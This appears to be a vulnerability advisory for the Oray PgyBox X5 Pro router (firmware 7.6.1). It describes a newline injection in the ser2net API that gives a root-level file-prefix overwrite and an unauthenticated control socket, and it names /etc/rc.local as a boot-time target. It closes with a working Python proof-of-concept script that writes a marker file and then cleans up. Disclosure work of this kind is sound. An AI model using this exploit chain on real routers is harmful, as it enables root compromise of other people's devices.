Oray PgyBox X5 Pro Router firmware 7.6.1 accepts newlines in the regmsg field of the authenticated oray_ser2net_set API. The router copies that field into a ser2net banner record and can enable the service in the same request. Injected rawlp records can then direct TCP input into an existing file opened by the root-run service, overwriting its prefix; an injected CONTROLPORT record also opens an unauthenticated command socket.
The management CGI accepts form POSTs at /cgi-bin/oraybox. It requires the management system password for oray_ser2net_set and applies the restricted account API allowlist. The factory uhttpd listener binds port 80 on IPv4 and IPv6; the factory firewall accepts input on the management side and rejects it on the WAN side (/etc/config/uhttpd, /etc/config/firewall, /www/cgi-bin/oraybox:92-114,475-510).
The decoded Lua 5.1 module /usr/lib/lua/oraybox/api/oray_ser2net_set.lua lists only device in shell_inject_checker. It defines the following check at lines 77-79:
local function params_check_regmsg(regmsg)
return regmsg == nil or type(regmsg) == "string"
end
At line 102, params_check passes args.sflowctl to this function, not args.regmsg. The add path writes args.regmsg to the regmsg UCI option at lines 190-192. The module commits orayser2net and runs /etc/init.d/orayser2net restart (decoded module lines 327-349). In /etc/init.d/orayser2net:76-87, config_get retrieves regmsg and echo appends BANNER:${banner}:${regmsg} to ${CFG_PATH_DIR}/ser2net.conf. Neither step removes its line feeds. With device=/dev/ttyS0, a value beginning with a short greeting followed by LF, CONTROLPORT:39011, LF, and 39012:rawlp:0:0:/www/<marker>: yields three physical lines: a banner, a control-port definition, and a TCP-to-file definition. The last form has two zero fields because this firmware fork expects both timeout and keepalive interval before the path. /etc/rc.d/S63orayser2net starts the init script, and its factory UCI file has base.enabled='0' with no serial entries.
The line reader in /usr/sbin/ser2net (sub_40F550, 0x40F698-0x40F71C) removes an LF and dispatches each line to sub_40E680. That parser handles CONTROLPORT: at 0x40EBE0-0x40EC38 and the port mapping at 0x40F2C4-0x40F368. sub_40A870 selects rawlp at 0x40AAD4-0x40AAE8. The firmware's /etc/ser2net.conf:20-27,179-184 describes those directives; the binary shows the additional keepalive field. The control listener (sub_402A80) passes accepted input through sub_4038F0 and sub_4041C0 to its command parser without a credential check. Its help command is reachable on the injected port.
For the file mapping, sub_40D700 calls __open_2 with flags 2305 or 2306 at 0x40D798. These are write-only or read/write together with O_NOCTTY|O_NONBLOCK; neither O_CREAT nor O_TRUNC is set. The rawlp writer reaches write(fd, network_bytes, length) in sub_40CE60 at 0x40CE78. The init script does not set a non-root service user. /etc/rc.local is one existing root-writable target in the image; /etc/init.d/done:10-12 runs it with sh /etc/rc.local at boot. A shorter replacement can terminate with exit 0 to keep the old tail from running.
The download API copies the router's /index.html to /tmp/../www/<marker>, which resolves to /www/<marker>; cfg_file_set with op=3 later removes it through /www/oraybox/../../www/<marker>. Those paths follow the implementations of /usr/lib/lua/oraybox/api/download.lua and cfg_file_set.lua. The shipped /www/index.html is 630 bytes.
On the X5 Pro 7.6.1 device, the submitted 64-byte AFTER-... string replaced the web marker's first 64 bytes. GET still returned HTTP 200, and the file remained 630 bytes long. The injected control socket produced its help listing. Earlier in the run, oray_ser2net_get had returned enabled:0 with list:[]; the marker creation and configuration calls each returned code:0. The changed prefix and unchanged length match the binary's open flags and direct write path.
Set ORAY_PASSWORD to the management system password and run this Python 3 script with the router's management address as its argument. It requires the factory ser2net state (enabled=0, no serial sections) and unused TCP ports 39011-39013. The script checks the marker before and after the write, then removes its serial section and marker. The initial empty-list check matters because op=del removes every serial section using the requested device name.
import json
import os
import secrets
import socket
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
host = sys.argv[1]
password = os.environ["ORAY_PASSWORD"]
endpoint = f"http://{host}/cgi-bin/oraybox"
nonce = secrets.token_hex(8)
name = f"ser2net-check-{nonce}.html"
path = f"/www/{name}"
url = f"http://{host}/{name}?v={nonce}"
opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
def api(method, **fields):
body = urllib.parse.urlencode({"_api": method, "_pwd": password, **fields}).encode()
request = urllib.request.Request(endpoint, data=body, method="POST")
with opener.open(request, timeout=12) as response:
return json.load(response)
def page():
request = urllib.request.Request(url, headers={"Cache-Control": "no-cache"})
try:
with opener.open(request, timeout=8) as response:
return response.status, response.read()
except urllib.error.HTTPError as error:
if error.code == 404:
return 404, b""
raise
def control_help():
for _ in range(12):
try:
with socket.create_connection((host, 39011), timeout=2) as channel:
channel.settimeout(1)
channel.sendall(b"help\r\n")
chunks = []
while True:
try:
part = channel.recv(4096)
except socket.timeout:
break
if not part:
break
chunks.append(part)
if b"help" in b"".join(chunks).lower():
break
answer = b"".join(chunks)
if b"help" in answer.lower():
return answer
except OSError:
pass
time.sleep(0.5)
raise RuntimeError("ser2net control port did not open")
initial = api("oray_ser2net_get")
assert initial["code"] == 0 and initial["enabled"] == 0 and initial["list"] == []
marker_attempted = False
service_attempted = False
try:
marker_attempted = True
assert api("download", url="<http://127.0.0.1/index.html>",
file_name=f"../www/{name}")["code"] == 0
status, original = page()
assert status == 200 and len(original) == 630
registration = f"hello\nCONTROLPORT:39011\n39012:rawlp:0:0:{path}:"
service_attempted = True
result = api("oray_ser2net_set", enabled="1", op="add", device="/dev/ttyS0",
disabled="0", protocol="tcp", port="39013", baud="57600",
databit="8", stopbit="1", parity="none", regmsg=registration)
assert result["code"] == 0, result
answer = control_help()
assert b"help" in answer.lower(), answer
print("control reply:", answer[:160])
proof = (b"AFTER-" + nonce.encode()).ljust(64, b".")
with socket.create_connection((host, 39012), timeout=3) as channel:
channel.sendall(proof)
channel.shutdown(socket.SHUT_WR)
for _ in range(12):
status, changed = page()
if status == 200 and changed[:64] == proof:
break
time.sleep(0.5)
assert status == 200 and len(changed) == len(original) == 630
assert changed[:64] == proof
print("file prefix replaced:", changed[:64], "size:", len(changed))
finally:
try:
if service_attempted:
print("ser2net cleanup:", api("oray_ser2net_set", enabled="0", op="del",
device="/dev/ttyS0"))
finally:
if marker_attempted:
print("marker cleanup:", api("cfg_file_set", op="3",
configs=json.dumps([f"../../www/{name}"])))
if service_attempted:
state = api("oray_ser2net_get")
assert state["code"] == 0 and state["enabled"] == 0 and state["list"] == []
if marker_attempted:
assert page()[0] == 404